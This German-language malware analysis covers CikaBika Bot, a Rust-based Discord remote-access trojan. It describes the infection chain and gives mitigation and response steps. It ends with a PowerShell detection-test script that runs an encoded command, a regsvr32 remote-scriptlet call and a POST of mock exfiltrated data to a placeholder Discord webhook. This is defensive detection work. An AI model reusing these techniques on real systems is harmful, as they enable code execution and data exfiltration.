CikaBika-Bot-Analyse: So funktioniert der Discord-RAT

Zusammenfassung

CikaBika Bot ist ein auf Rust basierender Remote-Zugriffstrojaner, der über Phishing-Köder wie bösartige LNK-Dateien und PDF-Dokumente verbreitet wird. Die Malware verwendet einen Nim-basierten Loader, um eine PowerShell-UAC-Umgehung auszulösen und eine DLL-Suchreihenfolge-Entführung gegen Microsoft Edge durchzuführen. Sie verlässt sich auf Discord als Befehls- und Steuerplattform, um infizierte Systeme zu verwalten und eine Reihe bösartiger Befehle auszuführen.

Untersuchung

Forscher von Darktrace analysierten die Infektionskette, die mit einem Datenträgerabbild begann, das eine bösartige Verknüpfung und ein Täuschungs-PDF enthielt. Die Untersuchung verfolgte die Nutzlast von einer temporären Textdatei zu einer gekaperten DLL, die im Microsoft Edge Anwendungsordner platziert wurde. Die Forscher beobachteten auch, dass der RAT Discord zur Aufklärung und ngrok zur Datenexfiltration verwendete.

Abschwächung

Organisationen sollten strenge Kontrollen über die Ausführung von LNK-Dateien und Datenträgerabbildern von unzuverlässigen Quellen durchsetzen. Eine Stärkung der User Account Control (UAC) Einstellungen und die Überwachung auf unautorisierte Registrierungsänderungen, die HKLM/HKCU-Shell-Befehle betreffen, kann helfen, Umgehungsversuche zu verhindern. Sicherheitsteams sollten auch auf ungewöhnliche Microsoft Edge Unterprozesse und unautorisierte Nutzungen von Discord oder ngrok achten.

Antwort

Wenn eine Aktivität des CikaBika Bots festgestellt wird, isolieren Sie die betroffenen Endpunkte vom Netzwerk, um den Discord C2-Kanal zu unterbrechen. Führen Sie eine forensische Analyse des %TEMP% Verzeichnisses und der Installationspfade von Microsoft Edge durch, um die bösartige dbghelp.dllzu identifizieren. Überprüfen Sie die Netzwerktelemetrie auf verdächtige Verbindungen, die ipify.com oder ngrok betreffen, um das potenzielle Ausmaß der Datenexfiltration zu bewerten.

Simulationsausführung

• Angriffserzählung & Befehle: Der Angreifer hat anfänglichen Zugriff gewonnen. Um Erkennung zu vermeiden, versucht er, eine Nutzlast über einen codierten PowerShell-Befehl auszuführen. Die Befehlszeichenfolge enthält einen Dummy-„PowerShell-UAC-Bypass“-Kommentar, um die spezifische Regel-Logik auszulösen. Anschließend versucht der Angreifer regsvr32.exe zu verwenden, um ein Remote-Skriptlet auszuführen (simuliert durch eine lokale Datei, um Netzwerklärm während des Tests zu vermeiden). Schließlich simuliert der Angreifer die Datenexfiltration, indem er eine Dummy-POST-Anfrage an eine Discord-Webhook-URL per PowerShell sendet.

• Regressionstestskript:

  # Simulationsskript: Cikabika-Stil Discord Exfiltration nachahmen
  
  Write-Host "[+] Simulation startet..."
  
  # 1. Simulieren der 'selection_uac_bypass' und 'selection_powershell_encoded' Bedingung
  # Der Befehl enthält die wörtliche Zeichenfolge 'PowerShell-UAC-Bypass' und verwendet '-enc'
  $command = "Write-Output 'Malicious Payload'; # PowerShell UAC bypass"
  $bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
  $encodedCommand = [Convert]::ToBase64String($bytes)
  
  Write-Host "[+] Codierten PowerShell mit Bypass-Zeichenfolge ausführen..."
  powershell.exe -enc $encodedCommand
  
  # 2. Simulieren der 'selection_regsvr32'
  # Dies löst die zweite Hälfte der 'AND'-Bedingung in der Regel aus
  Write-Host "[+] Regsvr32 ausführen..."
  regsvr32.exe /s /i:http://localhost/dummy.sct scrobj.dll
  
  # 3. Simulieren der 'selection_discord_exfil'
  # Dies bietet einen alternativen Pfad für die zweite Hälfte der 'AND'-Bedingung
  Write-Host "[+] Discord-Exfiltration simulieren..."
  $discordWebhook = "https://discord.com/api/webhooks/test/12345"
  powershell.exe -Command "Invoke-RestMethod -Uri '$discordWebhook' -Method Post -Body '{"content": "Exfiltrated Data"}'"
  
  Write-Host "[+] Simulation abgeschlossen."

• Bereinigungskommandos:

  # Bereinigung: Entfernen aller temporären Dateien, die während der Simulation erstellt wurden (falls vorhanden).
  # In dieser spezifischen Simulation wurden keine Dateien auf die Festplatte geschrieben, 
  # jedoch stellen wir sicher, dass der Prozessbaum sauber ist.
  Stop-Process -Name "powershell" -ErrorAction SilentlyContinue
  Write-Host "[+] Bereinigung abgeschlossen."